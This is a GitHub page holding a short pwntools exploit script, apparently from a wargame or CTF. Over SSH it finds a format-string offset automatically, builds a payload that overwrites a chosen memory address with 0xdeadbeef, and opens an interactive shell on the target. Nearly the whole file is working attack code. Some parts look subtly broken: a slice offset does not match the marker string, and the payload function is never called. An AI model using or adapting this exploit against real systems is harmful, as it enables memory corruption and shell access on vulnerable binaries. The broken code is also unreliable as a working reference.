-
Notifications
You must be signed in to change notification settings - Fork 67
Expand file tree
/
Copy pathbinjitsuFS.py
More file actions
35 lines (26 loc) · 743 Bytes
/
binjitsuFS.py
File metadata and controls
35 lines (26 loc) · 743 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#! /usr/bin/env python
from pwn import *
# Binary name, var to overwrite & data to overwrite:
check=0xbffffb00
overwrite=0xdeadbeef
binary='./binfile'
# SSH connexion:
ssh = ssh(
host='target.org',
port= 222,
user='myuser',
password='mypasswd')
# Get offset:
def exec_fmt(payload):
process = ssh.process([binary, payload])
ret= process.recvall()
return ret[ret.find('output=[')+5:ret.find("]\nbye!") ]
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
# Build payload:
def send_fmt_payload(payload):
print repr(payload)
fspayload= fmtstr_payload(offset, {check: overwrite}, write_size='byte')
# Sending payload and launch an interactive shell:
exploitation= ssh.process([binary, fspayload])
exploitation.interactive()